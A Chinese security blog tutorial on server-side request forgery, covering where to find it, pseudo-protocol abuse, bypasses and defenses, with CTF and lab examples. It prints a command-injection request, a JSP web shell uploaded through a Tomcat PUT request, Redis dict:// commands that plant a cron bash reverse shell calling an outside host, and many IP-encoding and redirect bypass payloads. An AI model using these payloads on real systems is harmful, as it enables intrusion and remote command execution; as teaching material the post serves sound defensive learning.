SSRF服务端伪造&伪协议利玩法&域名及IP绕过&无回显利用&挖掘点&SRC复盘

Ethan医生3个月前WEB安全86

image.jpg




1.jpg


#SSRF漏洞原理

服务器端请求伪造,也称为SSRFServer-Side Request Forgery),是因为前端用户可以输入任意URL到后端服务器,而且服务器也没有对其URL进行严格的过滤和校验,导致攻击者可以构造一些恶意的URL让服务器去访问执行。

*主要安全影响:

-读取服务器本地文件

-探测内网存活主机和开放端口

-攻击其他内网服务器及服务

 

#SSRF漏洞挖掘

黑盒探针:

-业务功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodbcopyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmgImageMagickdocxpdfxml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

 

-URL关键参数

share

wap

url

link

src

source

target

u

display

sourceURl

imageURL

domain

 

白盒分析:见代码审计(文件读取,加载,数据操作类的函数)

 

#SSRF伪协议利用

http:// Web常见访问,如http://127.0.0.1

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

 

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysqlredis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

 

#SSRF绕过方式

-限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@

http://www.xxx.com@www.xxyy.com

 

-限制请求IP不为内网地址

当不允许ip为内网地址时:

1)采取短网址绕过

2)采取域名解析

3)采取进制转换

4)采取3XX重定向

 

#SSRF漏洞防御

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。

2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许httphttps请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

 

#SSRF核心利用-伪协议

https://github.com/sqlsec/ssrf-vuls

-命令执行

POST / HTTP/1.1

Host: 172.150.23.24

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: application/x-www-form-urlencoded

Content-Length: 26

Origin: http://172.150.23.24

Connection: close

Referer: http://172.150.23.24/

Cookie: timezone=8

Upgrade-Insecure-Requests: 1

 

ip=127.0.0.1%3Bcat+%2Fflag

 

 

-Tomcat漏洞

PUT /1.jsp/ HTTP/1.1

Host: 172.150.23.26:8080

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 460

 

<%

String command = request.getParameter("cmd");

if(command != null)

{

java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1)

{

out.println(new String(b));

}

out.print("</pre>");

} else {

out.print("format: xxx.jsp?cmd=Command");

}

%>

 

 

-Redis

# 清空 key

dict://172.150.23.27:6379/flushall

 

# 设置要操作的路径为定时任务目录

dict://172.150.23.27:6379/config set dir /var/spool/cron/

 

# 在定时任务目录下创建 root 的定时任务文件

dict://172.150.23.27:6379/config set dbfilename root

 

# 写入 Bash 反弹 shellpayload

dict://172.150.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

 

# 保存上述操作

dict://172.150.23.27:6379/save

 

-MYSQL:

https://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql

root

show variables like '%plugin%'

后续编码一次

 

#SSRF过滤绕过

CTFSHOW 白盒

1、无过滤直接获取

url=http://127.0.0.1/flag.php

 

2-3IP地址进制绕过

十六进制

url=http://0x7F.0.0.1/flag.php

 

八进制

url=http://0177.0.0.1/flag.php

 

10 进制整数格式

url=http://2130706433/flag.php

 

16 进制整数格式,还是上面那个网站转换记得前缀0x

url=http://0x7F000001/flag.php

 

还有一种特殊的省略模式

127.0.0.1写成127.1

 

CIDR绕过localhost

url=http://127.127.127.127/flag.php

 

还有很多方式

url=http://0/flag.php

url=http://0.0.0.0/flag.php

 

4、域名解析IP绕过

test.xiaodi8.com -> 127.0.0.1

url=http://test.xiaodi8.com/flag.php

 

5、长度限制IP绕过

url=http://127.1/flag.php

 

6、长度限制IP绕过

url=http://0/flag.php

 

7、利用重定向解析绕过

<?php

header("Location:http://127.0.0.1/flag.php");

url=http://47.94.236.117/xx.php

 

8、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php?show

 

9-10、利用gopher协议打服务

参考上述工具项目










标签: SSRF

相关文章

Web攻防-业务逻辑篇&购买支付&篡改属性值&算法溢出&签约并发&四舍五入法&订单对冲

#支付逻辑常见测试:1、熟悉常见支付流程选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付2、熟悉那些数据篡改商品ID,购买价格,购买数量,订单属性,折扣属性,支付方式,支付状态...

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

1、什么是反序列化操作? - 类型转换- PHP & JavaEE & .NET & Python(见图)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换...

CSRF跨站请求伪造&Referer同源&Token校验&复用删除置空&联动上传或XSS

CSRF跨站请求伪造&Referer同源&Token校验&复用删除置空&联动上传或XSS

补充:XSS漏洞与CSRF区分主要区别目标:XSS攻击用户,CSRF攻击应用。执行位置:XSS在用户浏览器执行,CSRF在用户不知情时执行请求。防御措施:XSS防御侧重于输入过滤和输出编码,CSRF防...

JAVA攻防-FastJson专题&面试不出网利用&BCEL字节码&C3P0二次&Impl链&延时判断

JAVA攻防-FastJson专题&面试不出网利用&BCEL字节码&C3P0二次&Impl链&延时判断

➢ Java攻防-FastJson-不出网gadget链分析#FastJson不出网利用:参考:https://xz.aliyun.com/news/11938参考:https://gith...

SSTI服务端&模版注入&利用分类&语言引擎&数据渲染&项目工具&挖掘思路

SSTI(Server-Side Template Injection,服务器端模板注入)是一种安全漏洞,攻击者通过向模板引擎注入恶意代码,在服务器端执行任意指令。以下是 SSTI 的主要使用场景和常...

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

#Phar反序列化解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 原理:PHP文件系统函...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。